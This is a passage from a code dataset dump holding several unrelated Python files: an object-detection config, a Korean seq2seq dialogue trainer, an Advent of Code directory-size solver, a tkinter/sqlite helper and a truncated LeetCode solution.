L2/Cosine\n self.margin_threshold = (1, 1)\n self.reset_value = 10000 # 10000 / 0 for L2 / Cosine\n self.use_coordinate_embeddings = True\n self.freeze = False\n\n\nclass ROIModuleConfig:\n def __init__(self):\n self.boxes = np.array([[0, 0, 9, 9],\n [0, 10, 9, 9],\n [10, 0, 9, 9],\n [10, 10, 9, 9],\n [4, 4, 9, 9],\n [-4, -4, 9, 9],\n [-4, 4, 9, 9],\n [4, -4, 9, 9],\n [0, 0, 19, 19],\n [0, 10, 19, 19],\n [10, 0, 19, 19],\n [10, 10, 19, 19],\n [0, 4, 19, 9],\n [4, 0, 9, 19],\n [-9, -4, 19, 9],\n [-4, -9, 9, 19],\n [0, 0, 39, 39]]) # offset_x, offset_y, delta_x, delta_y\n '''\n base stride is 60 pixels = 20 grid cells\n 5 30x30 boxes / cell inside the base grid\n 3 30x30 boxes / cell half way between neighbouring grid cells\n 4 60x60 boxes / cell (1 centered, 3 half way) \n 2 30x60 box\n 2 60x30 box\n 1 120x120 box\n\n IoU thresholds for small cells should be tighter than for large ones\n\n ulc = upper left corners are at 0, 20, 40, 60, 80\n views will be [ulc + offset, ulc + offset + delta + 1]\n '''\n self.positive_thresholds = [.35] * 8 + [.25] * 4 + [.3] * 4 + [.2]\n self.negative_thresholds = [.2] * 8 + [.15] * 4 + [.2] * 4 + [.1]\n self.num_anchors = len(self.boxes)\n self.num_rois = 16\n self.coarse_grid_size = 5\n self.poking_filter_threshold = 2.5\n self.nms_threshold = .4\n\n\nclass RPNModelConfig(BackboneConfig):\n def __init__(self):\n super(RPNModelConfig, self).__init__()\n self.roi_config = ROIModuleConfig()\n self.teacher_forcing = False\n self.num_anchors = self.roi_config.num_anchors\n self.nms = True\n self.regression = False\n self.uncertainty = int(False)\n\n\nclass MemoryConfigPIL:\n def __init__(self):\n self.capacity = 20000\n self.prioritized_replay = True\n self.bias_correct = False\n self.warm_start_memory = None\n self.flip_prob = .5\n self.jitter_prob = .8\n self.jitter = .3\n self.initial_priority = .5\n\n\nclass MemoryConfigTensor:\n def __init__(self):\n self.capacity = 20000\n self.warm_start_memory = None\n self.num_workers = 0\n self.sizes = [(3 + global_config.depth, global_config.resolution, global_config.resolution),\n (global_config.max_pokes, global_config.grid_size, global_config.grid_size),\n (global_config.grid_size, global_config.grid_size),\n (global_config.grid_size, global_config.grid_size)] + \\\n ([(global_config.grid_size, global_config.grid_size)] if global_config.superpixels else [])\n self.dtypes = [torch.float32, # image\n torch.bool, # obj_masks\n torch.float32, # foreground\n torch.float32] + ([torch.int32] if global_config.superpixels else []) # background\n\n\nclass ObjectnessLossConfig:\n def __init__(self):\n self.filter = False # has to match the corresponding attribute in model config file\n self.filter_threshold = -.3\n self.prioritized_replay = True\n self.foreground_threshold = 1.5\n self.objectness_weight = 1\n self.smoothness_weight = 0\n self.kernel = actor_config.check_change_kernel\n self.kernel_size = (self.kernel.shape[0] - 1) // 2\n self.check_change_kernel = actor_config.check_change_kernel\n self.superpixel_for_action_feedback = False\n self.robustify = None\n self.point_feedback_for_action = False\n self.localize_object_around_poking_point = True\n self.prioritize_default = .5\n self.prioritize_function = lambda score: (score - .5) ** 2 + .02\n\n\nclass ObjectnessClusteringLossConfig(ObjectnessLossConfig):\n def __init__(self):\n super(ObjectnessClusteringLossConfig, self).__init__()\n self.threshold = 1 # Should match the threshold in model config file\n self.center_foreground = False\n self.scaleable = True\n\n\nclass MaskAndMassLossConfig(ObjectnessClusteringLossConfig):\n def __init__(self):\n super(MaskAndMassLossConfig, self).__init__()\n self.mass_loss_weight = .1\n self.instance_only = False\n\n\nclass ObjectnessRPNLossConfig(ObjectnessLossConfig):\n def __init__(self):\n super(ObjectnessRPNLossConfig, self).__init__()\n self.filter = False # No filter implemented yet for this model\n self.roi_config = ROIModuleConfig()\n self.regression = False # has to match the entry in RPNModelConfig\n self.deltas = [(0, 0, 0, 0),\n (0, 0, 1, 0),\n (0, 0, -1, 0),\n (0, 0, 0, 1),\n (0, 0, 0, -1),\n (1, 0, 1, 0),\n (-1, 0, -1, 0),\n (0, 1, 0, 1),\n (0, -1, 0, -1)]\n self.regression_weight = 1\n\n\nclass FgBgLossConfig:\n def __init__(self):\n self.prioritized_replay = False\n self.restrict_positives = False\n self.restrict_negatives = True and not self.restrict_positives\n self.kernel = actor_config.check_change_kernel\n self.kernel_size = (self.kernel.shape[0] - 1) // 2\n self.foreground_threshold = 1.5\n\n\nclass TrainerConfig:\n def __init__(self):\n self.log_path = None\n self.checkpoint_path = None\n self.save_frequency = 100\n self.ground_truth = 0 # 0 = self, 1 = poke, 2 = mask, 3 = poke+mask, 4 = visualize, 5 = generate test set\n self.num_actors = 35\n self.episodes = 900\n self.new_datapoints_per_episode = 70\n self.batch_size = 64\n self.lr_schedule = lambda episode, episodes: 5e-4\n self.weight_decay = 1e-4\n self.update_schedule = lambda episode, episodes: int(15 + 30 * episode / episodes)\n self.poking_schedule = lambda episode, episodes: 20\n self.prefill_memory = 3000\n self.eval_during_train = False\n self.unfreeze = -1\n\n\nclass TestingConfig:\n def __init__(self):\n self.num_actors = 25\n self.bs = 50\n self.colors = [(0, 0, 200), (0, 255, 255), (255, 0, 255), (255, 255, 0),\n (120, 255, 0), (255, 120, 0), (0, 255, 120), (0, 120, 255), (120, 0, 255), (120, 255, 120),\n (60, 177, 0), (177, 60, 0), (0, 177, 60), (0, 60, 177), (60, 0, 177), (60, 177, 60)]\n","repo_name":"allenai/learning_from_interaction","sub_path":"source/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":10706,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"60"} +{"seq_id":"26488428857","text":"import gensim\nimport tensorflow as tf\nimport numpy as np\nfrom konlpy.tag import Mecab\nimport pickle\n\n\nclass dialouge_training_lstm:\n def __init__(self, x_data, y_data, **model_info):\n '''\n data를 입력 받고 한국어 형태소 분석 엔진을 로드한다.\n :param x_data: string을 원소로 갖는 리스트 (list)\n :param y_data: string을 원소로 갖는 리스트 (list)\n '''\n self.ko_engine = Mecab()\n self.model_path = model_info['model_path']\n self.w2v_path = model_info['w2v_path']\n self.w2v_model = gensim.models.Word2Vec.load(self.w2v_path)\n self.x_data = x_data\n self.y_data = y_data\n x_len_list = np.array([len(self.ko_engine.pos(data_element)) for data_element in self.x_data])\n self.x_data = list(np.array(self.x_data)[x_len_list < 100])\n self.y_data = list(np.array(self.y_data)[x_len_list < 100])\n y_len_list = np.array([len(self.ko_engine.pos(data_element)) for data_element in self.y_data])\n self.x_data = list(np.array(self.x_data)[y_len_list < 100])\n self.y_data = list(np.array(self.y_data)[y_len_list < 100])\n\n # x_data, y_data를 pos로 쪼개서 저장\n self.enc_source = [[x[0] for x in self.ko_engine.pos(data_element)] for data_element in self.x_data]\n self.dec_source = [[y[0] for y in self.ko_engine.pos(data_element)] for data_element in self.y_data]\n\n def translate_to_word(self, outputs) :\n eos_index = self.w2v_model.wv[\"\"]\n trans_temp = [[self.w2v_model.wv.most_similar(positive=[vec], topn=1)[0][0] for vec in data_element if not np.array_equal(eos_index, vec)] for data_element in outputs]\n trans_result = [\" \".join(data_element) for data_element in trans_temp]\n return trans_result\n\n\n def update_word2vec(self):\n response = input(\"word2vec 모델을 학습시킬 경우 기존에 학습된 모델의 결과가 달라집니다. 계속 하시겠습니까? [y/n] : \")\n enc_set = set([tag for data_element in self.enc_source for tag in data_element])\n dec_set = set([tag for data_element in self.dec_source for tag in data_element])\n words_temp = enc_set.union(dec_set)\n new_words = (words_temp - set(self.w2v_model.wv.vocab))\n new_words = [list(new_words)]*self.w2v_model.min_count\n self.w2v_model.build_vocab(new_words, update=True)\n self.w2v_model.train((self.enc_source + self.dec_source[-1])*self.w2v_model.min_count,\n total_examples=self.w2v_model.corpus_count, epochs=self.w2v_model.iter)\n if response == \"y\":\n with open(self.w2v_path, mode=\"wb\") as fp:\n self.w2v_model.save(fp)\n\n def data_preprocess(self):\n '''\n string의 배열을 각각 입력 받아 기본적인 데이터 전처리(idx2word, word2idx 생성하고 word vector를 idx vector로 치환)한다.\n '''\n # pos로 나뉘어진 정보를 encoder, decoder에 맞게 training에 사용할 input/output으로 나눔\n self.enc_input = [data_element for data_element in self.enc_source]\n self.enc_output = [data_element for data_element in self.dec_source]\n self.dec_input = [[''] + data_element for data_element in self.dec_source]\n self.dec_output = [data_element + [''] for data_element in self.dec_source]\n\n # 나뉘어진 인코더를 이용해 그에 맞는 sequence_length를 구함. dynamic_rnn의 sequence_length에 사용할 인자\n self.enc_input_seqlen = [len(sentence) for sentence in self.enc_input]\n self.enc_output_seqlen = [len(sentence) for sentence in self.enc_output]\n self.dec_seqlen = [len(sentence) for sentence in self.dec_input]\n # padding의 기준으로 삼을 max_seqlen\n # self.max_enc_seqlen = max(max(self.enc_input_seqlen), max(self.enc_output_seqlen))\n # self.max_dec_seqlen = max(self.dec_seqlen)\n self.max_seqlen = 100 # max(self.max_enc_seqlen, self.max_dec_seqlen)\n\n # decoder에 pad값 넣어줌\n self.enc_input = [data_element + [''] * (self.max_seqlen - len(data_element)) for data_element in\n self.enc_input]\n self.enc_output = [data_element + [''] * (self.max_seqlen - len(data_element)) for data_element in\n self.enc_output]\n\n # decoder에 pad값 넣어줌\n self.dec_input = [data_element + [''] * (self.max_seqlen - len(data_element)) for data_element in\n self.dec_input]\n self.dec_output = [data_element + [''] * (self.max_seqlen - len(data_element)) for data_element in\n self.dec_output]\n\n self.update_word2vec()\n\n def set_parameter(self, num_layer=3, learning_rate=0.03, epoch=3000):\n '''\n :param num_layer: lstm layer의 깊이 (integer) \n :param learning_rate: 학습 속도 (float)\n :param epoch: iteration, 학습 반복수 (integer)\n '''\n self.data_preprocess()\n\n # input/output 데이터에 관한 parameter\n self.dim = 500 # len(self.word2idx)\n self.enc_batch_size = len(self.enc_source)\n self.dec_batch_size = len(self.dec_source)\n self.batch_size = len(self.dec_source)\n\n # 그래프 ���성에 필요한 parameter\n self.num_layer = num_layer\n self.learning_rate = learning_rate\n self.epoch = epoch\n\n def get_new_data(self, x_data, y_data, **model_info):\n '''\n 새로운 데이터를 받을 경우, 해당 데이터로 치환한다. parameter값을 재설정하지 않으면 이전 값을 그대로 사용한다.\n :param x_data: string을 원소로 갖는 리스트 (list)\n :param y_data: string을 원소로 갖는 리스트 (list) \n '''\n self.model_path = model_info['model_path']\n self.w2v_path = model_info['w2v_path']\n self.w2v_model = model # gensim.models.Word2Vec.load(model_info['w2v_path'])\n\n self.x_data = x_data\n self.y_data = y_data\n x_len_list = np.array([len(self.ko_engine.pos(data_element)) for data_element in self.x_data])\n self.x_data = list(np.array(self.x_data)[x_len_list < 100])\n self.y_data = list(np.array(self.y_data)[x_len_list < 100])\n y_len_list = np.array([len(self.ko_engine.pos(data_element)) for data_element in self.y_data])\n self.x_data = list(np.array(self.x_data)[y_len_list < 100])\n self.y_data = list(np.array(self.y_data)[y_len_list < 100])\n\n # x_data, y_data를 pos로 쪼개서 저장\n self.enc_source = [[x[0] for x in self.ko_engine.pos(data_element)] for data_element in self.x_data]\n self.dec_source = [[y[0] for y in self.ko_engine.pos(data_element)] for data_element in self.y_data]\n\n self.data_preprocess()\n\n def get_encoder_data(self):\n '''\n encoder에 필요한 data 생성\n :return1: input data for encoder, list of list which have vectorized word as elements (list)\n :return2: output data for encoder, list of list which have vectorized word as elements (list)\n '''\n dataX = []\n dataY = []\n\n # encoder에 사용할 X, Y\n for i in range(0, self.enc_batch_size):\n x_words = self.enc_input[i]\n y_words = self.enc_output[i]\n\n x = [self.w2v_model.wv[word] for word in x_words]\n y = [self.w2v_model.wv[word] for word in y_words]\n\n dataX.append(x)\n dataY.append(y)\n\n return dataX, dataY\n\n def get_decoder_data(self):\n '''\n decoder에 필요한 data 생성\n :return1: input data for decoder, list of list which have vectorized word as elements (list)\n :return2: output data for decoder, list of list which have vectorized word as elements (list)\n '''\n dataX = []\n dataY = []\n\n # decoder에 사용할 X, Y\n for i in range(0, self.dec_batch_size):\n x_words = self.dec_input[i]\n y_words = self.dec_output[i]\n\n x = [self.w2v_model.wv[word] for word in x_words]\n y = [self.w2v_model.wv[word] for word in y_words]\n\n dataX.append(x)\n dataY.append(y)\n\n return dataX, dataY\n\n def softmax_and_reshape(self, outputs, name, batch_len, tf_name):\n\n # fully-connected layers\n outputs = tf.reshape(outputs, [batch_len, self.max_seqlen, self.dim])\n X_for_softmax = tf.reshape(outputs, [-1, self.dim])\n\n with tf.variable_scope(name):\n softmax_w = tf.Variable(tf.random_normal([self.dim, self.dim]), name=\"softmax_w\")\n softmax_b = tf.Variable(tf.random_normal([self.dim]), name=\"softmax_b\")\n outputs = tf.matmul(X_for_softmax, softmax_w) + softmax_b\n\n outputs = tf.reshape(outputs, [batch_len, self.max_seqlen, self.dim], name=tf_name)\n\n return outputs\n\n def train_seq2seq(self):\n # self.set_parameter()\n batch_len = tf.placeholder(tf.int32, name=\"batch_len\")\n\n #######encoder#######\n with tf.variable_scope('encode'):\n enc_X = tf.placeholder(tf.float32, [None, None, self.dim], name=\"enc_X\")\n enc_Y = tf.placeholder(tf.float32, [None, None, self.dim], name=\"enc_Y\")\n enc_seqlen = tf.placeholder(tf.int32, name=\"enc_seqlen\")\n\n enc_cell = tf.nn.rnn_cell.LSTMCell(self.dim, state_is_tuple=True)\n enc_multi_cell = tf.nn.rnn_cell.MultiRNNCell([enc_cell] * self.num_layer, state_is_tuple=True)\n\n enc_outputs, enc_states = tf.nn.dynamic_rnn(enc_multi_cell,\n enc_X,\n sequence_length=enc_seqlen,\n dtype=tf.float32)\n\n enc_prediction = self.softmax_and_reshape(enc_outputs, \"encode\", batch_len, tf_name=\"enc_prediction\")\n # enc_outputs = self.softmax_and_reshape(enc_outputs, \"encode\", batch_len)\n # enc_prediction = tf.argmax(enc_outputs, axis=2, name=\"enc_prediction\")\n\n enc_weights = tf.ones([self.enc_batch_size, self.max_seqlen]) # seqlen을 None으로 하는 방법을 최종으로\n #enc_sequence_loss = tf.losses.cosine_distance(predictions=enc_prediction, labels=enc_Y, dim=1)\n #enc_sequence_loss = tf.contrib.seq2seq.sequence_loss(logits=(enc_prediction-enc_Y), targets=tf.zeros([self.batch_size, 100], dtype=tf.int32), weights=enc_weights)\n ######\n h = 1e-5\n enc_prediction_reshape = tf.reshape(enc_prediction, [-1, self.dim])\n enc_Y_reshape = tf.reshape(enc_Y, [-1, self.dim])\n eP_norm = tf.sqrt(tf.reduce_sum((enc_prediction_reshape * enc_prediction_reshape), axis=1))\n eY_norm = tf.sqrt(tf.reduce_sum((enc_Y_reshape * enc_Y_reshape), axis=1))\n e_denom = eP_norm * eY_norm + h\n e_num = tf.reduce_sum((enc_prediction_reshape * enc_Y_reshape), axis=1)\n e_cosine_similarity = e_num / e_denom\n e_cosine_distance = 1 - e_cosine_similarity\n e_cosine_distance_reshape = tf.reshape(e_cosine_distance, [self.enc_batch_size, self.max_seqlen])\n e_cosine_distance_reshape = e_cosine_distance_reshape * enc_weights\n enc_sequence_loss = tf.reduce_mean(e_cosine_distance_reshape, axis=1)\n ######\n enc_mean_loss = tf.reduce_mean(enc_sequence_loss)\n enc_train = tf.train.AdamOptimizer(learning_rate=self.learning_rate).minimize(enc_mean_loss)\n\n #######decoder#######\n with tf.variable_scope('decode'):\n dec_X = tf.placeholder(tf.float32, [None, None, self.dim], name=\"dec_X\")\n dec_Y = tf.placeholder(tf.float32, [None, None, self.dim], name=\"dec_Y\")\n dec_seqlen = tf.placeholder(tf.int32, name=\"dec_seqlen\")\n\n dec_cell = tf.nn.rnn_cell.LSTMCell(self.dim, state_is_tuple=True)\n dec_multi_cell = tf.nn.rnn_cell.MultiRNNCell([dec_cell] * self.num_layer, state_is_tuple=True)\n\n dec_outputs, dec_states = tf.nn.dynamic_rnn(dec_multi_cell,\n dec_X,\n sequence_length=dec_seqlen,\n initial_state=enc_states,\n dtype=tf.float32)\n\n dec_prediction = self.softmax_and_reshape(dec_outputs, \"decode\", batch_len, tf_name=\"dec_prediction\")\n # dec_outputs = self.softmax_and_reshape(dec_outputs, \"decode\", batch_len)\n # dec_prediction = tf.argmax(dec_outputs, axis=2, name=\"dec_prediction\")\n\n dec_weights = tf.ones([self.dec_batch_size, self.max_seqlen]) # seqlen을 None으로 하는 방법을 최종으로\n #dec_sequence_loss = tf.losses.cosine_distance(predictions=dec_prediction, labels=dec_Y, dim=0)\n #dec_sequence_loss = tf.contrib.seq2seq.sequence_loss(logits=(dec_prediction-dec_Y), targets=tf.zeros([self.batch_size, 100], dtype=tf.int32), weights=dec_weights)\n #########\n h = 1e-5\n dec_prediction_reshape = tf.reshape(dec_prediction, [-1, self.dim])\n dec_Y_reshape = tf.reshape(dec_Y, [-1, self.dim])\n dP_norm = tf.sqrt(tf.reduce_sum((dec_prediction_reshape * dec_prediction_reshape), axis=1))\n dY_norm = tf.sqrt(tf.reduce_sum((dec_Y_reshape * dec_Y_reshape), axis=1))\n d_denom = dP_norm * dY_norm + h\n d_num = tf.reduce_sum((dec_prediction_reshape * dec_Y_reshape), axis=1)\n d_cosine_similarity = d_num / d_denom\n d_cosine_distance = 1 - d_cosine_similarity\n d_cosine_distance_reshape = tf.reshape(d_cosine_distance, [self.dec_batch_size, self.max_seqlen])\n d_cosine_distance_reshape = d_cosine_distance_reshape * dec_weights\n dec_sequence_loss = tf.reduce_mean(d_cosine_distance_reshape, axis=1)\n ########\n dec_mean_loss = tf.reduce_mean(dec_sequence_loss)\n dec_train = tf.train.AdamOptimizer(learning_rate=self.learning_rate).minimize(dec_mean_loss)\n\n self.enc_prediction = enc_prediction\n self.dec_prediction = dec_prediction\n self.enc_X = enc_X\n self.enc_Y = enc_Y\n self.dec_X = dec_X\n self.dex_Y = dec_Y\n\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n enc_dataX, enc_dataY = self.get_encoder_data()\n dec_dataX, dec_dataY = self.get_decoder_data()\n go_index = [self.w2v_model.wv[\"\"]]\n\n for ep in range(self.epoch):\n e_loss, _ = sess.run([enc_mean_loss, enc_train],\n feed_dict={enc_X: enc_dataX, enc_Y: enc_dataY, enc_seqlen: self.enc_input_seqlen,\n batch_len: self.batch_size})\n d_loss, _ = sess.run([dec_mean_loss, dec_train],\n feed_dict={enc_X: enc_dataX, enc_Y: enc_dataY, enc_seqlen: self.enc_input_seqlen,\n batch_len: self.batch_size,\n dec_X: dec_dataX, dec_Y: dec_dataY, dec_seqlen: self.dec_seqlen})\n\n enc_result = sess.run(enc_prediction, feed_dict={enc_X: enc_dataX, enc_seqlen: self.enc_input_seqlen,\n batch_len: self.batch_size})\n test_dec_input = [list(go_index) + list(enc_output[:-1]) for enc_output in enc_result]\n dec_result = sess.run(dec_prediction, feed_dict={enc_X: enc_dataX, enc_seqlen: self.enc_input_seqlen,\n batch_len: self.batch_size,\n dec_X: dec_dataX, dec_seqlen: self.dec_seqlen})\n # result는 index scalar의 vector(list)를 원소로 갖는 리스트\n\n #if ((ep/self.epoch)*100)%5==0 :\n if ep%50 == 0:\n print(\"ep:\",ep, \"]]]]]\\t\\te_loss:\",e_loss, \"\\td_loss:\", d_loss, sep=\"\")\n #print(\"\\t\\tencP: \",self.translate_to_word(enc_result), \"\\tdecP: \",self.translate_to_word(dec_result))\n\n\n saver = tf.train.Saver()\n saver.save(sess, self.model_path)\n'''\ntf.reset_default_graph()\n\nX = []\nY = []\n\n\nwith open(\"training_data/beauty_inside/beauty_inside.txt\", mode=\"rb\") as fp :\n X, Y, _, _ = pickle.load(fp)\n\ntemp = dialouge_training_lstm([X[3]], [Y[3]], model_path=\"./test\", w2v_path=\"word2vec/word2vec\")\ntemp.set_parameter(learning_rate=0.1, epoch=1000, num_layer=2)\ntemp.train_seq2seq()\n'''\n\nnew_or_old = input(\"새로운 모델에 학습시키겠습니까? [y/n]\\n(기존 모델에 이어서 학습시키려면 n 입력) :\\n\")\ndata_path = input(\"학습시킬 데이터가 위치한 path를 입력해주세요. (pickle.dump로 저장된 txt 파일) : \\n\")\nwith open(data_path, mode=\"rb\") as fp :\n X, Y, _, _ = pickle.load(fp)\n\nlearning_rate, epoch, num_layer = input(\"학습 parameter를 설정해주세요. (learning_rate / epoch / num_layer) :\\n\").split()\n\nif new_or_old == \"y\" :\n model_save_path = input(\"새로운 모델을 저장할 path를 입력해주세요 (eg. ./total) :\\n\")\n word2vec_path = input(\"word2vec 모델이 위치한 path를 입력해주세요 :\\n\")\n print(\"learning_rate :\", learning_rate, \"\\tepoch :\", epoch, \"\\tnum_layer :\", num_layer)\n temp = dialouge_training_lstm(X, Y, model_path=model_save_path, w2v_path=word2vec_path)\n temp.set_parameter(learning_rate=float(learning_rate), epoch=int(epoch), num_layer=int(num_layer))\n temp.train_seq2seq()\nelif new_or_old == \"n\" :\n model_save_path = input(\"기존 모델이 위치한 path를 입력해주세요 (eg. ./model/beauty_inside/beauty_inside) :\\n\")\n word2vec_path = input(\"word2vec 모델이 위치한 path를 입력해주세요 :\\n\")\n print(\"learning_rate :\", learning_rate, \"\\tepoch :\", epoch, \"\\tnum_layer :\", num_layer)\n","repo_name":"bigshanedogg/interactive_dialogue_model","sub_path":"python_code/seq2seq_training.py","file_name":"seq2seq_training.py","file_ext":"py","file_size_in_byte":18134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"27463545879","text":"FILENAME='Day7/input.txt'\ninputFile = open(FILENAME, 'r')\nlines = inputFile.readlines()\n\ndirectory_tree = {\n 'a': 123,\n 'b': {\n 'file.txt': 123,\n 'passwords.txt': 54,\n 'mydir': {\n 'newdir': {\n '..': ['b', 'mydir'],\n '.': 'newdir',\n },\n 'other.txt': 32,\n '..': ['b'],\n '.': 'mydir'\n },\n '..': [],\n '.': 'b'\n },\n '..': [],\n '.': '/'\n}\n\ndirectory_tree = {\n '..': [],\n '.': '/'\n}\n\nglobal_array = []\n\ndef print_out_directory_tree_sizes(temp_dir):\n directory_size = 0\n dict_array_keys = []\n file_array_keys = []\n for key in temp_dir.keys():\n if key == '.' or key == '..':\n continue\n if type(temp_dir[key]) is dict:\n dict_array_keys.append(key)\n else:\n file_array_keys.append(key)\n \n for dict_key in dict_array_keys:\n directory_size += print_out_directory_tree_sizes(temp_dir.get(dict_key))\n\n for file_key in file_array_keys:\n directory_size += temp_dir[file_key]\n \n global_array.append( (temp_dir['.'], directory_size) )\n return directory_size\n \n\n# start at the root\ncurrent_directory = directory_tree\n\ndef process_command(line_array):\n global current_directory\n global directory_tree\n if line_array[1] == 'cd':\n if line_array[2] == '..':\n directory_list = current_directory.get('..')\n current_directory = directory_tree\n for next_dir in directory_list:\n current_directory = current_directory.get(next_dir)\n elif line_array[2] == '/':\n current_directory = directory_tree\n else:\n current_directory = current_directory.get(line_array[2])\n \ndef process_line(line_array):\n global current_directory\n global directory_tree\n if line_array[0] == 'dir':\n if current_directory.get(line_array[1]) == None:\n if current_directory.get('.') == '/':\n prev_directory = []\n else:\n prev_directory = current_directory.get('..') + [current_directory.get('.')]\n\n current_directory[line_array[1]] = {'.': line_array[1], '..': prev_directory}\n\n else:\n if current_directory.get(line_array[1]) == None:\n current_directory[line_array[1]] = int(line_array[0])\n\n\nfor line_number, line in enumerate(lines, start=1):\n line = line.strip()\n line_array = line.split(' ')\n\n if line_array[0] == '$':\n process_command(line_array)\n else:\n process_line(line_array)\n \nprint_out_directory_tree_sizes(directory_tree)\nquestion_1_answer = sum([x[1] for x in global_array if x[1] <= 100000])\nprint(f\"Question1: {question_1_answer}\")\n\nroot_directory_size = [x[1] for x in global_array if x[0] == '/']\nroot_directory_size = root_directory_size[0]\ntotal_size = 70000000\nspace_needed = 30000000\ntotal_used_space = total_size - root_directory_size\nmin_space_to_delete = space_needed - total_used_space\n\nmin_directory_to_delete = min([x[1] for x in global_array if x[1] >= min_space_to_delete])\n\nprint(f\"Question 1: {min_directory_to_delete}\")\n\n# close the file\ninputFile.close()","repo_name":"TrestenPool/Advent_of_Code","sub_path":"Day7/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"3576431871","text":"import os\nfrom tkinter import *\nimport tkinter as tk\nimport sqlite3\n\n\n# Be sure to import our other modules \n# so we can have access to them\nimport files_main\nimport files_gui\n\n\ndef ask_quit(self):\n if messagebox.askokcancel(\"Close Program\", \"Okay to exit application?\"):\n # This closes app\n self.master.destroy()\n os._exit(0)\n\ndef create_db(self):\n conn = sqlite3.connect('db_files.db')\n with conn:\n cur = conn.cursor()\n cur.execute(\"CREATE TABLE if not exists tbl_files( \\\n ID INTEGER PRIMARY KEY AUTOINCREMENT, \\\n col_browse TEXT, \\\n col_check TEXT, \\\n );\")\n # You must commit() to save changes & close the database connection\n conn.commit()\n conn.close()\n first_run(self)\n\ndef center_window(self, w, h): # pass in the tkinter frame (master) reference and the w and h\n # get user's screen width and height\n screen_width = self.master.winfo_screenwidth()\n screen_height = self.master.winfo_screenheight()\n # calculate x and y coordinates to paint the app centered on the user's screen\n x = int((screen_width/2) - (w/2))\n y = int((screen_height/2) - (h/2))\n centerGeo = self.master.geometry('{}x{}+{}+{}'.format(w, h, x, y))\n return centerGeo\n\ndef first_run(self):\n conn = sqlite3.connect('db_files.db')\n with conn:\n cur = conn.cursor()\n cur,count = count_records(cur)\n if count < 1:\n cur.execute(\"\"\"INSERT INTO tbl_files (col_browse,col_check) VALUES (?,?)\"\"\", ('Browse','Check for files'))\n conn.commit()\n conn.close()\n\n\ndef count_records(cur):\n count = \"\"\n cur.execute(\"\"\"SELECT COUNT(*) FROM tbl_files\"\"\")\n count = cur.fetchone()[0]\n return cur,count\n\n\n\nif __name__ == \"__main__\":\n pass\n","repo_name":"ceruleanat/Basic-Python-Projects","sub_path":"files_func.py","file_name":"files_func.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"4458031040","text":"\"\"\"\nDate:12/04/2021\n315. Count of Smaller Numbers After Self - Leetcode Hard\n\nThe following problem is solved using binary search\n\"\"\"\nclass Node:\n def __init__(self,v):\n self.left=None\n self.right=None\n self.freq=1\n self.val=v\n self.count=1\n\n\nclass Solution:\n \n \n def countSmaller(self, nums: List[int]) -> List[int]:\n Root=Node(nums[-1])\n count=[0]\n \n def find(root,num,count):\n #print(\"count:{}\".format(count))\n #print(\"rootval:{} , num:{} , count:{}\".format(root.val,num,count))\n root.count+=1\n if root.val==num:\n root.freq+=1\n ans=count\n if root.left:\n return ans+root.left.count\n return ans\n \n if num